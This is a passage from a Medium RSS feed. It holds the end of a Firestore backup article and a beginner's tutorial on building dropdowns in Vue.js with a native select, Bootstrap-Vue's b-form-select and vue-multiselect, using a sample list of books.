href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I hope this article would help you create a robust methodology to help you in case of operational crashes and avoid any data losses. It’s important to import and verify that the backup system is working perfectly every fortnight to avoid any undesirable situation.</p><p>References:<br>1. <a href="https://firebase.google.com/docs/functions/schedule-functions">https://firebase.google.com/docs/functions/schedule-functions</a><br>2. <a href="https://firebase.google.com/docs/firestore/solutions/schedule-export">https://firebase.google.com/docs/firestore/solutions/schedule-export</a><br>3.<a href="https://cloud.google.com/appengine/docs/standard/python/config/cronref#defining_the_cron_job_schedule">https://cloud.google.com/appengine/docs/standard/python/config/cronref#defining_the_cron_job_schedule</a><br>4. <a href="https://stackoverflow.com/questions/64442551/what-is-the-meaning-of-minimum-storage-duration-of-google-cloud-storage">https://stackoverflow.com/questions/64442551/what-is-the-meaning-of-minimum-storage-duration-of-google-cloud-storage</a><br>5. <a href="https://selleo.com/til/posts/rw6nnkaphd-backup-and-restore-firebase-firestore-data">https://selleo.com/til/posts/rw6nnkaphd-backup-and-restore-firebase-firestore-data</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=637db47a5418" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginners guide to Dropdowns in Vue.js]]></title>
            <link>https://srijanshrestha.medium.com/beginners-guide-to-dropdowns-in-vue-js-bbd2d311662?source=rss-5e0795a063be------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbd2d311662</guid>
            <category><![CDATA[bootstrap]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[dropdown]]></category>
            <category><![CDATA[vue]]></category>
            <category><![CDATA[vuejs]]></category>
            <dc:creator><![CDATA[Srijan Shrestha]]></dc:creator>
            <pubDate>Sat, 02 May 2020 11:15:13 GMT</pubDate>
            <atom:updated>2020-05-02T11:15:13.311Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LQC9FQAUCvz0QdwYBn-M5w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@max_duz?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Max Duzij</a> on <a href="https://unsplash.com/s/photos/programming?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>I have recently started working on <a href="https://vuejs.org/">Vue.js</a> and have spent quite some time working on dropdowns. So we will be going along with different dropdowns applicable in Vue.js right from the select method to the <a href="https://vue-multiselect.js.org/">vue-multiselect</a>. <br><strong>Disclaimer</strong>: Vue-multiselect has a wide variety of configurations available and I would highly recommend to use it in your projects.</p><p><strong>Prerequisites</strong></p><p>In my project I have used bootstrap and following is the <a href="https://bootstrap-vue.org/docs">installation process </a>for the same. This will be required if you are following the first or second approach.</p><pre><em># With npm</em><br>npm install vue bootstrap-vue bootstrap<br><br><em># With yarn</em><br>yarn add vue bootstrap-vue bootstrap</pre><pre># Main.js<br>import Vue from &#39;vue&#39;<br>import { BootstrapVue, IconsPlugin } from &#39;bootstrap-vue&#39;</pre><pre><em># Install BootstrapVue</em><br>Vue.use(BootstrapVue)</pre><pre><em>#Optionally install the BootstrapVue icon components plugin</em><br>Vue.use(IconsPlugin)</pre><pre># also import<br>import &#39;bootstrap/dist/css/bootstrap.css&#39;<br>import &#39;bootstrap-vue/dist/bootstrap-vue.css&#39;</pre><ol><li><strong>The Select Method</strong></li></ol><p>Following is the code for the select method.</p><pre>&lt;div&gt; <br> &lt;label for=&quot;book&quot;&gt;Choose a Book:&lt;/label&gt; <br>  &lt;select id=&quot;book&quot; placeholder=&quot;Select a book&quot; <br>    v-model =&quot;selected_book&quot;&gt;    <br>   &lt;option disabled value=&quot;&quot; selected=&quot;&quot;&gt;Select a book&lt;/option&gt; <br>   &lt;option :value=&quot;book.id&quot; v-for=&quot;book in book_data&quot; <br>    :key=&quot;book.id&quot; &gt;{{ book.book_name }}&lt;/option&gt; <br>  &lt;/select&gt; <br> &lt;div class=&quot;mt-3&quot;&gt;Selected Book: &lt;strong&gt;{{ genre_book }}&lt;/strong&gt;<br>&lt;/div&gt;</pre><p>Following is the data-set</p><pre>export default {<br> name: &#39;BookEstore&#39;,<br>  data() {<br>   return {<br>     selected_book: &#39;&#39;,<br>     selected_author: &#39;&#39;,<br>     book_data: [{&quot;id&quot;: 1,&quot;book_name&quot;: &quot;The Corrections&quot;,<br>                  &quot;author&quot;: &quot;Jonathan Franzen&quot;},<br>                 {&quot;id&quot;: 2,&quot;book_name&quot;: &quot;The Guest Book&quot;,<br>                  &quot;author&quot;: &quot;Sarah Blake&quot;},<br>                 {&quot;id&quot;:3,&quot;book_name&quot;: &quot;The Alchemist&quot;,<br>                  &quot;author&quot;: &quot;Paulo Cohelo&quot;},<br>                 {&quot;id&quot;:4,&quot;book_name&quot;: &quot;The Fault in Our Stars&quot;,<br>                   &quot;author&quot;: &quot;John Green&quot;},<br>                 {&quot;id&quot;:5,&quot;book_name&quot;: &quot;The Tattooist of Auschwitz&quot;,<br>                    &quot;author&quot;: &quot;Heather Morris&quot;},<br>                 {&quot;id&quot;:6,&quot;book_name&quot;: &quot;Burn After Writing&quot;,<br>                    &quot;author&quot;: &quot;Sharon Jones&quot;}] <br>    }<br>   }<br>}</pre><p><strong>2. The B-Dropdown Method</strong></p><p>You need to import the <a href="https://bootstrap-vue.org/docs/components/form-select">b-formselect</a> to use it in your project. It can be done as a plugin and as a component. I have imported it as plugin here.</p><pre>//main.js</pre><pre>import { FormSelectPlugin } from &#39;bootstrap-vue&#39;<br>Vue.use(FormSelectPlugin)</pre><p>Following is the code:</p><pre>&lt;div&gt;<br> &lt;label for=&quot;book&quot;&gt;Choose a Book:&lt;/label&gt;<br> &lt;b-form-select v-model=&quot;selected_book&quot;&gt;<br>   &lt;option disabled value=&quot;&quot; selected=&quot;&quot;&gt;Select a book&lt;/option&gt;<br>   &lt;option :value=&quot;book.book_name&quot; v-for=&quot;book in book_data&quot;     <br>     :key=&quot;book.book_name&quot; &gt;{{ book.book_name }}&lt;/option&gt;<br>  &lt;/b-form-select&gt;<br>  &lt;div class=&quot;mt-3&quot;&gt;Selected: &lt;strong&gt;{{ selected_book }}&lt;/strong&gt;&lt;/div&gt;</pre><p><strong>3. The Vue-Multiselect</strong></p><p><a href="https://vue-multiselect.js.org/">Vue-Multiselect</a> is rich in documentation and covers a vast multitude of scenarios. For installation of vue-multiselect in your project, you can install it through npm or yarn.</p><pre>npm install vue-multiselect --save</pre><p>Further you need to import vue-multiselect to enable it’s use.</p><pre>import Multiselect from &#39;vue-multiselect&#39;</pre><pre>// register globally<br>Vue.component(&#39;multiselect&#39;, Multiselect)</pre><p>Since the data is in the form of object henceforth use of <strong>track-by</strong> and <strong>label</strong> props is necessary. Here searchable is set to true by default therefore a separate prop is not required.</p><pre>&lt;div&gt;<br> &lt;label class=&quot;label&quot;&gt;Select an author&lt;/label&gt;<br> &lt;multiselect v-model=&quot;selected_author&quot; :options=&quot;book_data&quot; <br>   placeholder=&quot;Select author&quot; label=&quot;author&quot; track-by=&quot;author&quot; &gt;. <br> &lt;/multiselect&gt;<br>&lt;/div&gt;</pre><p>Following is the data set.</p><pre>import Multiselect from &#39;vue-multiselect&#39;</pre><pre>export default {<br> name: &#39;BookEstore&#39;,<br>  data() {<br>   return {<br>     selected_book: &#39;&#39;,<br>     selected_author: &#39;&#39;,<br>     book_data: [{&quot;id&quot;: 1,&quot;book_name&quot;: &quot;The Corrections&quot;,<br>                  &quot;author&quot;: &quot;Jonathan Franzen&quot;},<br>                 {&quot;id&quot;: 2,&quot;book_name&quot;: &quot;The Guest Book&quot;,<br>                  &quot;author&quot;: &quot;Sarah Blake&quot;},<br>                 {&quot;id&quot;:3,&quot;book_name&quot;: &quot;The Alchemist&quot;,<br>                  &quot;author&quot;: &quot;Paulo Cohelo&quot;},<br>                 {&quot;id&quot;:4,&quot;book_name&quot;: &quot;The Fault in Our Stars&quot;,<br>                   &quot;author&quot;: &quot;John Green&quot;},<br>                 {&quot;id&quot;:5,&quot;book_name&quot;: &quot;The Tattooist of Auschwitz&quot;,<br>                    &quot;author&quot;: &quot;Heather Morris&quot;},<br>                 {&quot;id&quot;:6,&quot;book_name&quot;: &quot;Burn After Writing&quot;,<br>                   &quot;author&quot;: &quot;Sharon Jones&quot;}]</pre><pre>   }<br>  }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbd2d311662" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>